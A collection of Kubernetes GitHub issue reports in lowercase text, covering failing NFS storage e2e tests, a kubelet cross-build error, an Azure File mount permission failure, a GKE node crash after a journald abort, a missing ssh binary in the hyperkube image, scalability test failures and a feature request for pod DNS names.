should be mountable ►\r  200  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support non-existent path ►\r  200  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  xfs   volumes should be mountable ►\r  203  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   volumes should allow exec of files on the volume ►\r  202  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support existing directory ►\r  202  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support file as subpath ►\r  201  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  ext4   volumes should be mountable ►\r  200  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  ext3   volumes should allow exec of files on the volume ►\r  200  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  ext4   volumes should allow exec of files on the volume ►\r  199  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support existing single file ►\r  199  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should be able to unmount after the subpath directory is deleted ►\r  202  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  ext3   volumes should be mountable ►\r  201  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support readonly file specified in the volumemount ►\r  200  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  xfs   volumes should allow exec of files on the volume ►\r  199  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   volumes should be mountable ►\r  198  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support readonly file specified in the volumemount ►\r  203  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support file as subpath ►\r  203  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support existing directories when readonly specified in the volumesource ►\r  202  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   volumes should allow exec of files on the volume ►\r  200  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support non-existent path ►\r  199  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support readonly directory specified in the volumemount ►\r  199  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   volumes should allow exec of files on the volume ►\r  198  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  ext3   volumes should be mountable ►\r  198  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  xfs   volumes should allow exec of files on the volume ►\r  198  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support non-existent path ►\r  198  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support readonly directory specified in the volumemount ►\r  197  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support file as subpath ►\r  197  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support readonly file specified in the volumemount ►\r  197  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support existing single file ►\r  198  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support readonly directory specified in the volumemount ►\r  196  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  xfs   volumes should be mountable ►\r  196  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  ext4   volumes should allow exec of files on the volume ►\r  195  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support existing directory ►\r  195  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should be able to unmount after the subpath directory is deleted ►\r  195  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should be able to unmount after the subpath directory is deleted ►\r  195  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support existing directories when readonly specified in the volumesource ►\r  194  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support existing directories when readonly specified in the volumesource ►\r  136  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  filesystem volmode   volumemode should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources ►\r  136  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  filesystem volmode   volumemode should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources ►\r  135  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   provisioning should provision storage with defaults ►\r  133  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   provisioning should create and delete block persistent volumes ►\r  133  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   provisioning should provision storage with mount options ►\r  132  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  block volmode   volumemode should fail in binding dynamic provisioned pv to pvc ►\r  130  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  block volmode   volumemode should fail to create pod by failing to mount volume ►\r  118  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should verify container cannot write to subpath readonly volumes ►\r  118  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should verify container cannot write to subpath readonly volumes ►\r  118  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should verify container cannot write to subpath readonly volumes ►\r  67  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should fail for new directories when readonly specified in the volumesource ►\r  67  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should fail for new directories when readonly specified in the volumesource ►\r  65  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should fail for new directories when readonly specified in the volumesource ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should fail if subpath directory is outside the volume  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support restarting containers using file as subpath  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should fail if subpath with backstepping is outside the volume  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support restarting containers using file as subpath  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  filesystem volmode   volumemode feature:blockvolume  should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should fail if non-existent subpath is outside the volume  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support restarting containers using directory as subpath  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   volumeio should write files of various sizes, verify size, validate content  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  block volmode   volumemode feature:blockvolume  should fail in binding dynamic provisioned pv to pvc ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should fail if subpath file is outside the volume  slow  ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  block volmode   volumemode feature:blockvolume  should fail to create pod by failing to mount volume ►\r  23  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  filesystem volmode   volumemode feature:blockvolume  should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   volumeio should write files of various sizes, verify size, validate content  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should fail if subpath with backstepping is outside the volume  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should fail if subpath file is outside the volume  slow  ►\r  22  sig-storage  dynamic provisioning dynamicprovisioner external should let an external dynamic provisioner create and delete persistent volumes  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support creating multiple subpath from same volumes  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should fail if subpath directory is outside the volume  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should fail if subpath file is outside the volume  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should fail if subpath with backstepping is outside the volume  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support restarting containers using directory as subpath  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   volumeio should write files of various sizes, verify size, validate content  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support restarting containers using directory as subpath  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should support creating multiple subpath from same volumes  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: inline-volume  default fs   subpath should support creating multiple subpath from same volumes  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: pre-provisioned pv  default fs   subpath should fail if non-existent subpath is outside the volume  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should fail if non-existent subpath is outside the volume  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should fail if subpath directory is outside the volume  slow  ►\r  22  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should support restarting containers using file as subpath  slow  ►\r    \r \r   since when has it been failing  :\r failures started between 3-4pm  est , on 1/11/2019\r \r the failures appear limited to containerd jobs  here's a triage search for flexvolume.go... note that only containerd jobs appear as failing :\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=flexvolume.go e927cd3b7abc588dea28\r \r 

cross-build broken again in k8s-v1.14.0 ? i am not sure. but i am suffering it!\r \r   what happened  :\r when i try to compile k8s-v1.14.0's cmd/kubelet module, i got the error, and the error is same to  58106, the bug  fixed some time ago, why it comes up again! i don't know why! \r error as below:\r ......\r +++  0408 16:50:40  building go targets for linux/amd64:\r     cmd/kubelet\r vendor/github.com/google/cadvisor/accelerators/nvidia.go:29:2: build constraints exclude all go files in /home/goworks/src/k8s.io/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/mindprince/gonvml\r !!!  0408 16:50:42  call tree:\r !!!  0408 16:50:42   1: /home/goworks/src/k8s.io/kubernetes/kubernetes/hack/lib/golang.sh:630 kube::golang::build_some_binaries ... \r !!!  0408 16:50:42   2: /home/goworks/src/k8s.io/kubernetes/kubernetes/hack/lib/golang.sh:765 kube::golang::build_binaries_for_platform ... \r !!!  0408 16:50:42   3: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0408 16:50:42  call tree:\r !!!  0408 16:50:42   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0408 16:50:42  call tree:\r !!!  0408 16:50:42   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make:      all  error 1\r \r   what you expected to happen  :\r i want to know why and how to fix it!!!\r   how to reproduce it  as minimally and precisely as possible   :\r comile kubelet module step:\r  root@foo kubernetes   kube_build_platforms=linux/amd64 make all what=cmd/kubelet goflags=-v gogcflags=\ -n -l\ \r \r   environment  :\r kubernetes source code: v1.14.0\r  root@foo kubernetes   uname -msr\r linux 3.10.0-862.11.6.el7.x86_64 x86_64\r  root@foo kubernetes   go version\r go version go1.12.2 linux/amd64\r  root@foo kubernetes   go env\r goarch=\ amd64\ \r gobin=\ \ \r gocache=\ /root/.cache/go-build\ \r goexe=\ \ \r goflags=\ \ \r gohostarch=\ amd64\ \r gohostos=\ linux\ \r goos=\ linux\ \r gopath=\ /home/goworks\ \r goproxy=\ \ \r gorace=\ \ \r goroot=\ /usr/local/go\ \r gotmpdir=\ \ \r gotooldir=\ /usr/local/go/pkg/tool/linux_amd64\ \r gccgo=\ gccgo\ \r cc=\ gcc\ \r cxx=\ g++\ \r cgo_enabled=\ 0\ \r gomod=\ \ \r cgo_cflags=\ -g -o2\ \r cgo_cppflags=\ \ \r cgo_cxxflags=\ -g -o2\ \r cgo_fflags=\ -g -o2\ \r cgo_ldflags=\ -g -o2\ \r pkg_config=\ pkg-config\ \r gogccflags=\ -fpic -m64 -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build524368587=/tmp/go-build -gno-record-gcc-switches\ \r  root@foo kubernetes  \r

there is yet another regression for api-call latencies for 5k-node test:\r https://testgrid.k8s.io/sig-scalability-gce gce-scale-performance\r \r the last 3 runs of load test failed there.\r \r i didn't yet have time to look into it deeper, but  especially the last run  seems suspicious, due to this one:\r    \r resource:nodes subresource: verb:post scope:cluster latency:{perc50:4.749ms perc90:1.807403s perc99:1.807403s} count:16}\r    \r \r it seems some nodes were added during the test, which isn't expected.\r \r @kubernetes/sig-scalability-bugs

right now, we replace head by release version in htmlpreview links in versionize-docs: https://github.com/kubernetes/kubernetes/blob/0e229d59f09c0f221eb45ad193f5c0f8ef875fc9/build/versionize-docs.sh l67.  we can probably replace the htmlpreview links by kubernetes.io links instead.  ref https://github.com/kubernetes/kubernetes/issues/15910 for problem with htmlpreview links  cc @kubernetes/docs @caesarxuchao

in its  implementation  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l87 , only basic volumes are inspected. persistent volumes are skipped.

the api reference seems to assume a response schema of unversioned.status for all delete calls, individual or collection. in reality, the response schema differers from resource to resource, and for some it is correct, but for many the response schema is actually an individual or list of the given resource. for example, the delete call for the pod resource returns a pod and a podlist for the individual and collection delete calls, respectively.  short term, we should update the docs to reflect reality. long term, wouldn't it make sense to unify the api so all the resources behave the same? currently it is left up to the resource implemenation:  https://github.com/kubernetes/kubernetes/blob/master/pkg/apiserver/resthandler.go l807-l827

\r \r   kubernetes version    use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform\r :\ linux/amd64\ }\r    \r \r   environment  :\r - azure acs: default install\r    \r az acs create --orchestrator-type=kubernetes \\\r               --resource-group my-test-group \\\r               --name my-test-k8s-cluster \\\r               --dns-prefix my-test-k8s-cluster \\\r               --generate-ssh-keys\r    \r \r \r   what happened  :\r azure file volume mounts don't work.\r \r \r   what you expected to happen  :\r a mount with my files from azure files\r \r   how to reproduce it    as minimally and precisely as possible :\r  assumes you have the azure cli \r \r create storage\r    \r az storage account create -n teststorageaccount -g my-test-group -l northeurope --sku standard_lrs\r az storage share create --name az-files--account-name teststorageaccount \r    \r create a secret:  check  $name   for trailing  =  being missing\r    \r name=$ echo teststorageaccount | base64 -w 0 \r key=$ az storage account keys list --account-name=teststorageaccount -g my-test-group --output tsv --query \  1 .value\  | base64 -w 0 \r \r cat  << eof\r {\r   \ apiversion\ : \ v1\ ,\r   \ kind\ : \ secret\ ,\r   \ metadata\ : {\r     \ name\ : \ azure-files-secret\ \r   },\r   \ type\ : \ opaque\ ,\r   \ data\ : {\r     \ azurestorageaccountname\ : \ $name\ ,\r     \ azurestorageaccountkey\ : \ $key\ \r   }\r }\r eof\r    \r \r build pv/pvc/pod\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv001\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r   - readwriteonce\r   azurefile:\r     secretname: azure-files-secret\r     sharename: az-files\r     readonly: false\r   claimref:\r     namespace: default\r     name: az-files\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: az-files\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: ubuntu\r spec:\r   containers:\r   - name: ubuntu\r     image: ubuntu:latest\r       just spin & wait forever\r     command:   \ /bin/bash\ , \ -c\ , \ --\   \r     args:   \ while true; do sleep 30; ls /mnt; done;\   \r     volumemounts:\r       - mountpath: \ /mnt\ \r         name: mypd\r   volumes:\r     - name: mypd\r       persistentvolumeclaim:\r         claimname: az-files\r    \r \r error:\r    \r mountvolume.setup failed for volume \ kubernetes.io/azure-file/254274c6-397e-11e7-8027-000d3ab0e16a-pv001\   spec.name: \ pv001\   pod \ 254274c6-397e-11e7-8027-000d3ab0e16a\   uid: \ 254274c6-397e-11e7-8027-000d3ab0e16a\   with: mount failed: exit status 32 mounting command: mount mounting arguments: //teststorageaccount.file.core.windows.net/az-files /var/lib/kubelet/pods/254274c6-397e-11e7-8027-000d3ab0e16a/volumes/kubernetes.io~azure-file/pv001 cifs  vers=3.0,username=teststorageaccount,password=removed ,dir_mode=0777,file_mode=0777  output: mount error 13 : permission denied refer to the mount.cifs 8  manual page  e.g. man mount.cifs \r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ ubuntu\ . list of unattached/unmounted volumes= mypd \r    \r \r if i navigate to \r  /var/lib/kubelet/pods/254274c6-397e-11e7-8027-000d3ab0e16a/volumes/kubernetes.io~azure-file/  on the appropriate agent vm. the folder  pv001  doesn't exist, i manually created it  as  su   and then i tried to mount. it succeeded. i think either the mount point is not being created by the azure file plugin, or the permissions on it are incorrect.\r \r \r \r

is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  journald ,  node failure \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : google container engine\r -   os    e.g. from /etc/os-release :\r    \r build_id=9202.64.0\r name=\ container-optimized os\ \r google_crash_id=lakitu\r version_id=57\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=57\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r -   kernel    e.g.  uname -a  :  4.4.35+ \r -   install tools  :  - \r -   others  :  - \r \r   what happened  : once in a blue moon  sometimes once a day, sometimes a week goes by without problems  i'm seeing a node failure in my cluster. the logs just before the crash from the node look like this:\r    \r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-journal 17420 : permanent journal  /var/log/journal/  is currently using 1004.0m.\r                                                                                             maximum allowed usage is set to 1.0g.\r                                                                                             leaving at least 4.0g free  of currently available 76.7g of space .\r                                                                                             enforced usage limit is thus 1.0g.\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : systemd-journald.service: main process exited, code=killed, status=6/abrt\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : systemd-journald.service: unit entered failed state.\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : systemd-journald.service: failed with result 'signal'.\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : systemd-journald.service: service has no hold-off time, scheduling restart.\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : stopped flush journal to persistent storage.\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : stopping flush journal to persistent storage...\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : stopped journal service.\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : starting journal service...\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-journal 17420 : journal started\r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : started journal service.\r jun 06 15:39:23 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : systemd-journald.service: watchdog timeout  limit 1min !\r hash=\ sha256:cedf4e6dc075f5670914ba40a3e9dd3074ce53da0ed850f614509e1917db9e1b\  ppid=2632 pid=17216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty= none  ses=4294967295 comm=\ iptables\  exe=\ /sbin/xtables-multi\ \r jun 06 15:39:25 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : starting flush journal to persistent storage...\r    \r \r a few seconds after that there are a lot of messages about losing carriers on interfaces & the restart of kubelet:\r    \r jun 06 15:39:28 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-networkd 639 : vethf3ff2094: lost carrier\r jun 06 15:39:28 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : network configuration changed, trying to establish connection.\r jun 06 15:39:28 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : synchronized to time server 169.254.169.254:123  169.254.169.254 .\r jun 06 15:39:28 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 13 vethf3ff2094  entered disabled state\r jun 06 15:39:28 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: device vethf3ff2094 left promiscuous mode\r jun 06 15:39:28 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 13 vethf3ff2094  entered disabled state\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 23 vethd2565681  entered disabled state\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-networkd 639 : vethd2565681: lost carrier\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : network configuration changed, trying to establish connection.\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : synchronized to time server 169.254.169.254:123  169.254.169.254 .\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: device vethd2565681 left promiscuous mode\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 23 vethd2565681  entered disabled state\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-networkd 639 : vethe4d14f92: lost carrier\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : network configuration changed, trying to establish connection.\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 14 vethe4d14f92  entered disabled state\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : synchronized to time server 169.254.169.254:123  169.254.169.254 .\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-networkd 639 : veth424b6133: lost carrier\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : network configuration changed, trying to establish connection.\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : synchronized to time server 169.254.169.254:123  169.254.169.254 .\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 1 veth424b6133  entered disabled state\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: device vethe4d14f92 left promiscuous mode\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 14 vethe4d14f92  entered disabled state\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: device veth424b6133 left promiscuous mode\r jun 06 15:39:29 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 1 veth424b6133  entered disabled state\r jun 06 15:39:30 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 16 vethd2a96dd2  entered disabled state\r jun 06 15:39:30 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-networkd 639 : vethd2a96dd2: lost carrier\r jun 06 15:39:30 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : network configuration changed, trying to establish connection.\r jun 06 15:39:30 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd-timesyncd 530 : synchronized to time server 169.254.169.254:123  169.254.169.254 .\r jun 06 15:39:30 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: device vethd2a96dd2 left promiscuous mode\r jun 06 15:39:30 gke-gat-cluster-nonprod--default-pool-24705367-1f74 kernel: cbr0: port 16 vethd2a96dd2  entered disabled state\r jun 06 15:39:36 gke-gat-cluster-nonprod--default-pool-24705367-1f74 sshd 18128 : pam_unix sshd:session : session opened for user gke-fb39cc7f94bf2ad8d04a by  uid=0 \r jun 06 15:39:36 gke-gat-cluster-nonprod--default-pool-24705367-1f74 sshd 18128 : pam_tty_audit sshd:session : changed status from 0 to 1\r jun 06 15:39:36 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : kubelet.service: service hold-off time over, scheduling restart.\r jun 06 15:39:36 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : stopped kubernetes kubelet.\r jun 06 15:39:36 gke-gat-cluster-nonprod--default-pool-24705367-1f74 systemd 384 : started kubernetes kubelet.\r    \r after this happens, all of the pods on the faulty node are getting redeployed.\r \r   what you expected to happen  : the node is stable and doesn't restart itself.\r \r   how to reproduce it    as minimally and precisely as possible : i haven't figured out a way to reproduce this by hand. \r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r pods with volumemount gitrepo volumes in 1.8.0 see the following error in kubelet logs  also in  kubectl describe pod <pod-name> logs  \r it is important to not that the git repo clone is done via ssh.\r \r    \r kubelet-wrapper 411 : error: cannot run ssh: no such file or directory\r kubelet-wrapper 411 : fatal: unable to fork\r kubelet-wrapper 411 : : exit status 128\r    \r \r \r i think what is happening is that hyperkube image now used to have  ssh  command in it and now it does not have it. so the git clone command that kubelet runs fails with the above stacktrace since it cannot find  ssh .\r \r   what you expected to happen  :\r gitrepo is volume mounted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r reproducible in kubernetes 1.8.0+ hyperkube images.\r \r    \r docker run -it gcr.io/google-containers/hyperkube:v1.8.2-beta.0 /bin/bash\r   git clone <ssh git url>\r cloning into 'project1'...\r error: cannot run ssh: no such file or directory\r fatal: unable to fork\r  \r    \r \r   anything else we need to know?  :\r this probably is due to missing ssh binary in the new 1.8.0 hyperkube images.\r the commit https://github.com/kubernetes/kubernetes/commit/66b9ae7cd86e1f594f57a6e5d3b11ef9f09460b3 might be an issue. will comment further if i find otherwise.\r   environment  :\r - kubernetes version  use  kubectl version  :   >=1.8.0\r - cloud provider or hardware configuration  : not application.\r - os  e.g. from /etc/os-release : \r hyperkube base image \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r \r in all these cases the cluster setup timed out waiting for all nodes to become available in the cluster, after they were created on gce:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/45\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/47\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/48\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/65\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/64\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/102\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/103

is this a bug report or feature request?  :\r \r > feature\r \r currently there is no api to find the dns name of existing pod. the example scenario when this can be needed is when some statefulset is created programmatically using api and then the pod hostnames are used for some requests inside the cluster. currently seems there is no other way to get hostnames except for building them manually through string  concatenation which seems quite error-prone  though works in practice . ideally as kubernetes has the knowledge about dns entries, services  and the way they are built and supported - it could have api for returning the full internal dns name for the specified pod. may be it should be the endpoint for  service  object.\r

